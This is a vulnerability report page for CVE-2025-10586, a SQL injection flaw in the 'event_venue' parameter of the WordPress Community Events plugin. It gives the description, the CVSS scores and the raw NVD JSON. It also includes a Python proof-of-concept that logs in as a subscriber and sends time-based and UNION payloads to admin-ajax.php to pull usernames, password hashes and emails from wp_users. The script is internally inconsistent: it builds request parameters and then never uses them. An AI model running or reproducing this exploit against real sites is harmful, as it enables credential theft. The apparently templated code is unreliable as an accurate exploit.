Security Vulnerability Report
中文
CVE-2025-10586 CVSS 9.8 CRITICAL

CVE-2025-10586

Published: 2025-10-09 02:15:41
Last Modified: 2026-04-15 00:35:42

Description

The Community Events plugin for WordPress is vulnerable to SQL Injection via the ‘event_venue’ parameter in all versions up to, and including, 1.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Community Events <= 1.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10586 PoC - Community Events Plugin SQL Injection # Vulnerability: SQL Injection via 'event_venue' parameter # Affected: Community Events plugin <= 1.5.1 import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Authenticate as Subscriber-level user session = requests.Session() login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Craft SQL injection payload via 'event_venue' parameter # Time-based blind SQLi payload to extract database information sql_payload = "1' AND (SELECT SLEEP(5))-- -" # Step 3: Send malicious request to the vulnerable endpoint exploit_params = { "event_venue": sql_payload, "action": "filter_events", "nonce": "obtained_nonce_value" # Need to obtain valid nonce from page } # Alternative: UNION-based injection to extract data union_payload = "1' UNION SELECT user_login, user_pass, user_email FROM wp_users-- -" response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data={"action": "community_events_filter", "event_venue": union_payload} ) print(f"Response status: {response.status_code}") print(f"Response body: {response.text[:500]}") # Step 4: Extract sensitive information from response # If successful, the response will contain database records including user credentials

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10586", "sourceIdentifier": "[email protected]", "published": "2025-10-09T02:15:40.993", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Community Events plugin for WordPress is vulnerable to SQL Injection via the ‘event_venue’ parameter in all versions up to, and including, 1.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/community-events/trunk/community-events.php?rev=3115223", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3369351%40community-events%2Ftrunk&old=3115222%40community-events%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/community-events/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/92f3b923-884e-4f61-9bf8-62dfb267a27e?source=cve", "source": "[email protected]"}]}}